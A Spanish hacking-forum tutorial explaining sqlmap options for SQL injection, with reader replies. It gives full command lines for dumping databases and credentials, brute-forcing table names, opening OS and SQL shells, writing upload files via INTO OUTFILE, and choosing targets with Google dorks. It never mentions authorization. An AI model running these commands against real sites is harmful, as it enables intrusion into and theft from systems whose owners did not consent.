Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.
Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.
Explotación:
1.- El comando --url o -u
Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="http://url.com/pag.php?id=10" o simplemente -u http://url.com/pag.php?id=10 , un ejemplo:
python sqlmap.py --url="http://url.com/pag.php?id=10" --dbs
2.- Comandos -p y --skip
Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:
python sqlmap.py --url="http://url.com/pag.php?id=10" -p "id" --dbs
Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:
python sqlmap.py --url="http://url.com/pag.php?lol=10&lol2=11" -p "id" --skip --dbs
3.- Método POST
En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --dbs
4.- Comandos --prefix and --suffix
Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs
Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs
Por ejemplo hacemos uso de una comilla simple '
5.- El comando --time-sec
Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs
6.- El comando --dbms
Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:
- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server
Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:
python sqlmap.py --url="http://site.com/page.php?id=10" --dbms=mysql --dbs
7.- El comando --union-cols
Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --union-cols="15-18" --dbs
8.- El comando --technique
--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:
- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"
Como un ejemplo, podemos tomar lo siguiente:
python sqlmap.py --url="" --technique="U"
Extrayendo los datos:
Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.
1.- El comando --dbs
El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs
2.- El comando --current-db
Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db
3.- Comandos --current-user y --users
Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user
4.- El comando -D
Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname
5.- El comando -T y --tables
Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables
Y el comando -T , especifica algún nombre de una tabla:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename
6.- El comando -C y --columns
Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna
7.- El comando --dump
Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump
8.- El comando --dump-format=
Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV
9.- El comando --dump-all
Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all
Brute Force Mode:
1.- Comando --common-tables
Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:
sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname --common-tables
2.- Comando --common-columns
A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:
sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname -T tbname --common-columns
Otros:
1.- El comando --os-shell
Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:
1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).
Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.
2.- El comando --sql-shell y --sql-query
Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.
SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD
Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).
O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:
"SELECT 'foo'"
3.- El comando --random-agent
Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs
4.- El comando --cookie
Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs
5.- El comando --threads
Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs
6.- El comando --privileges
Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --union-cols="15-18" --privileges
7.- El comando -b
Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:
python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b
8.- El comando -v
Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:
python sqlmap.py -u http://sadasdds.com/page.php?id=10 -p "id" -v 3
9.- El comando -g
Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:
python sqlmap.py -g "inurl:index.php?id="
10.- Los comandos --level and --risk
Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:
python sqlmap.py -u http://lololol.es/page.php?id=5 --dbms=mysql --level=5
Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:
python sqlmap.py -u http://lololol.es/page.php?id=5 --dbms=mysql --level=5 --risk=3
11.- El comando --ignore-proxy
Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:
python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy
12.- El comando --keep-alive
Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:
python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive
Este no es compatible con el comando --proxy
13.- El comando --null-connection
Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:
python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection
Este comando no es compatible con --text-only
Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.
PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.
Saludos, M5f3r0 ;).
Realmente un MegaPost :D, se agradece infinitamente
Como dice Nyx, es un aportazo y muy útil para todos los que se dedican a esto.
Gracias por el post.
Enviado desde BlackMovil5
buen aporte, tantos comandos que contiene sqlmap, que uno luego no se acuerda de todos o simplemente algunos ni los conocia, gracias.
Excelente Post gracias.